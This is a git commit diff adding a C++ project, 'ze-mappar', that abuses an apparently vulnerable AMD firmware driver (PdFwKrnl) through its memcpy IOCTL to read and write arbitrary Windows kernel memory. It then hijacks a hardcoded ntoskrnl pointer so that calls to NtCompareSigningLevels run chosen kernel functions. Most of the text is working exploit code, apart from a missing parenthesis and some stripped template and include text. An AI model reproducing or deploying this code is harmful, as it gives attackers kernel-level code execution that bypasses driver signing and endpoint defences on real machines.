commit 7c1303567314a6eee3c7bde89b584656e469bc2d Author: dpcpointer Date: Wed May 28 19:20:14 2025 -0600 Add files via upload diff --git a/source/PdFwKrnl.cpp b/source/PdFwKrnl.cpp new file mode 100644 index 0000000..4ed7c97 --- /dev/null +++ b/source/PdFwKrnl.cpp @@ -0,0 +1,145 @@ +#pragma once + +#include "pdfwkrnl.h" +#include +#include + +_pdfwkrnl::_pdfwkrnl() : hDevice(INVALID_HANDLE_VALUE) {} + +_pdfwkrnl::~_pdfwkrnl() { detach(); } + +bool _pdfwkrnl::attach() { + if (hDevice != INVALID_HANDLE_VALUE) { + return true; + } + + hDevice = CreateFileW(L"\\\\.\\PdFwKrnl", + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + return hDevice != INVALID_HANDLE_VALUE; +} + +void _pdfwkrnl::detach() { + if (hDevice != INVALID_HANDLE_VALUE) { + CloseHandle(hDevice); + hDevice = INVALID_HANDLE_VALUE; + } +} + +uint64_t _pdfwkrnl::get_ntoskrnl_base() { + if (hDevice == INVALID_HANDLE_VALUE) { + return 0; + } + + uint64_t base_address = 0; + DWORD CbNeeded = 0; + LPVOID Drivers[1024]{}; + if (EnumDeviceDrivers(Drivers, sizeof(Drivers), &CbNeeded)) { + base_address = (uint64_t)Drivers[0]; + } + + return base_address; +} + +uint64_t _pdfwkrnl::get_ntoskrnl_export(const char* function) { + uint64_t ntoskrnl_base = get_ntoskrnl_base(); + if (!ntoskrnl_base) + return 0; + + IMAGE_DOS_HEADER dos_headers = read_virtual_memory(ntoskrnl_base); + if (dos_headers.e_magic != IMAGE_DOS_SIGNATURE) + return 0; + + IMAGE_NT_HEADERS nt_headers = read_virtual_memory(ntoskrnl_base + dos_headers.e_lfanew); + + if (nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) { + auto image_export_directory = ntoskrnl_base + nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + + IMAGE_EXPORT_DIRECTORY export_directory = read_virtual_memory(image_export_directory); + + if (export_directory.NumberOfFunctions > 0) { + auto address_of_functions = ntoskrnl_base + export_directory.AddressOfFunctions; + auto address_of_names = ntoskrnl_base + export_directory.AddressOfNames; + auto address_of_name_ordinals = ntoskrnl_base + export_directory.AddressOfNameOrdinals; + + std::vector func_rvas(export_directory.NumberOfFunctions); + std::vector name_rvas(export_directory.NumberOfNames); + std::vector ordinals(export_directory.NumberOfNames); + + if (!read_virtual_memory(address_of_functions, func_rvas.data(), export_directory.NumberOfFunctions * sizeof(DWORD))) + return -1; + + if (!read_virtual_memory(address_of_names, name_rvas.data(), export_directory.NumberOfNames * sizeof(DWORD))) + return -1; + + if (!read_virtual_memory(address_of_name_ordinals, ordinals.data(), export_directory.NumberOfNames * sizeof(WORD))) + return -1; + + for (DWORD i = 0; i < export_directory.NumberOfNames; i++) { + char func_name[256] = { 0 }; + auto name_address = ntoskrnl_base + name_rvas[i]; + + if (!read_virtual_memory(name_address, func_name, sizeof(func_name))) + continue; + + func_name[255] = '\0'; + + auto ordinal = export_directory.Base + ordinals[i]; + auto func_rva = func_rvas[ordinals[i]]; + auto func_address = ntoskrnl_base + func_rva; + + if (!strcmp(func_name, function)) + return func_address; + } + } + } + + return 0; +} + +bool _pdfwkrnl::read_virtual_memory(UINT64 address, void* buffer, ULONG size) { + if (hDevice == INVALID_HANDLE_VALUE || !buffer || !size || !address) { + return false; + } + + PDFW_MEMCPY memcpy_data = { 0 }; + memcpy_data.Destination = buffer; + memcpy_data.Source = (PVOID)address; + memcpy_data.Size = size; + + DWORD bytes_returned; + return DeviceIoControl(hDevice, + IOCTL_AMDPDFW_MEMCPY, + &memcpy_data, + sizeof(PDFW_MEMCPY), + &memcpy_data, + sizeof(PDFW_MEMCPY), + &bytes_returned, + NULL) != 0; +} + +bool _pdfwkrnl::write_virtual_memory(UINT64 address, void* buffer, ULONG size) { + if (hDevice == INVALID_HANDLE_VALUE || !buffer || !size || !address) { + return false; + } + + PDFW_MEMCPY memcpy_data = { 0 }; + memcpy_data.Destination = (PVOID)address; + memcpy_data.Source = buffer; + memcpy_data.Size = size; + + DWORD bytes_returned; + return DeviceIoControl(hDevice, + IOCTL_AMDPDFW_MEMCPY, + &memcpy_data, + sizeof(PDFW_MEMCPY), + &memcpy_data, + sizeof(PDFW_MEMCPY), + &bytes_returned, + NULL) != 0; +} \ No newline at end of file diff --git a/source/PdFwKrnl.h b/source/PdFwKrnl.h new file mode 100644 index 0000000..ae58ac6 --- /dev/null +++ b/source/PdFwKrnl.h @@ -0,0 +1,43 @@ +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include + +const ULONG IOCTL_AMDPDFW_MEMCPY = CTL_CODE(0x8000, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS); + +typedef struct _PDFW_MEMCPY { + BYTE Reserved[16]; + PVOID Destination; + PVOID Source; + PVOID Reserved2; + DWORD Size; + DWORD Reserved3; +} PDFW_MEMCPY, * PPDFW_MEMCPY; + +inline class _pdfwkrnl { +private: + HANDLE hDevice; + +public: + _pdfwkrnl(); + ~_pdfwkrnl(); + bool attach(); + void detach(); + uint64_t get_ntoskrnl_base(); + uint64_t get_ntoskrnl_export(const char* function); + bool read_virtual_memory(UINT64 address, void* buffer, ULONG size); + bool write_virtual_memory(UINT64 address, void* buffer, ULONG size); + + template + T read_virtual_memory(UINT64 address) { + T buffer{}; + read_virtual_memory(address, &buffer, sizeof(T)); + return buffer; + } +}pdfwkrnl; \ No newline at end of file diff --git a/source/entry.cpp b/source/entry.cpp new file mode 100644 index 0000000..31cd76b --- /dev/null +++ b/source/entry.cpp @@ -0,0 +1,49 @@ +#include "PdFwKrnl.h" + +template +T call_kernel_function(const char* function_name, Args... args){ + + uint64_t ntoskrnl_base = pdfwkrnl.get_ntoskrnl_base(); + if (!ntoskrnl_base) + return T{}; + + uint64_t function_address = pdfwkrnl.get_ntoskrnl_export(function_name); + if (!function_address) + return T{}; + + uint64_t qword_swap = ntoskrnl_base + 0xC1DA00; + uint64_t qword_original = 0; + + if (!pdfwkrnl.read_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t))) + return T{}; + + if (!pdfwkrnl.write_virtual_memory(qword_swap, &function_address, sizeof(uint64_t))) + return T{}; + + HMODULE m_ntdll = GetModuleHandleA("ntdll.dll"); + if (!m_ntdll) + return T{}; + + FARPROC NtCompareSigningLevels = GetProcAddress(m_ntdll, "NtCompareSigningLevels"); + + using FuncPtr = T(__stdcall*)(Args...); + FuncPtr func = reinterpret_cast(NtCompareSigningLevels); + + T return_value = func(args...); + + pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t); // swap back + + return return_value; +} + +int main() { + if (!pdfwkrnl.attach()) + return -1; + + printf("attached to kernel\n"); + + call_kernel_function("DbgPrint", "called kernel function"); + + pdfwkrnl.detach(); + return 0; +} \ No newline at end of file diff --git a/source/ze-mappar.sln b/source/ze-mappar.sln new file mode 100644 index 0000000..4e30332 --- /dev/null +++ b/source/ze-mappar.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.36121.58 d17.14 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ze-mappar", "ze-mappar.vcxproj", "{82E90A15-BED1-4404-8BE1-6B512F4126AB}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {82E90A15-BED1-4404-8BE1-6B512F4126AB}.Debug|x64.ActiveCfg = Debug|x64 + {82E90A15-BED1-4404-8BE1-6B512F4126AB}.Debug|x64.Build.0 = Debug|x64 + {82E90A15-BED1-4404-8BE1-6B512F4126AB}.Debug|x86.ActiveCfg = Debug|Win32 + {82E90A15-BED1-4404-8BE1-6B512F4126AB}.Debug|x86.Build.0 = Debug|Win32 + {82E90A15-BED1-4404-8BE1-6B512F4126AB}.Release|x64.ActiveCfg = Release|x64 + {82E90A15-BED1-4404-8BE1-6B512F4126AB}.Release|x64.Build.0 = Release|x64 + {82E90A15-BED1-4404-8BE1-6B512F4126AB}.Release|x86.ActiveCfg = Release|Win32 + {82E90A15-BED1-4404-8BE1-6B512F4126AB}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {A655719F-F42D-483D-B3F0-E58B895AFBC9} + EndGlobalSection +EndGlobal diff --git a/source/ze-mappar.vcxproj b/source/ze-mappar.vcxproj new file mode 100644 index 0000000..edabc83 --- /dev/null +++ b/source/ze-mappar.vcxproj @@ -0,0 +1,145 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {82e90a15-bed1-4404-8be1-6b512f4126ab} + zemappar + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + $(SolutionDir)\build\ + $(SolutionDir)\build\objects\ + + + $(SolutionDir)\build\ + $(SolutionDir)\build\objects\ + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + + + Console + true + + + + + + + + + + + + + \ No newline at end of file diff --git a/source/ze-mappar.vcxproj.filters b/source/ze-mappar.vcxproj.filters new file mode 100644 index 0000000..1eaa489 --- /dev/null +++ b/source/ze-mappar.vcxproj.filters @@ -0,0 +1,30 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/source/ze-mappar.vcxproj.user b/source/ze-mappar.vcxproj.user new file mode 100644 index 0000000..429333d --- /dev/null +++ b/source/ze-mappar.vcxproj.user @@ -0,0 +1,6 @@ + + + + true + + \ No newline at end of file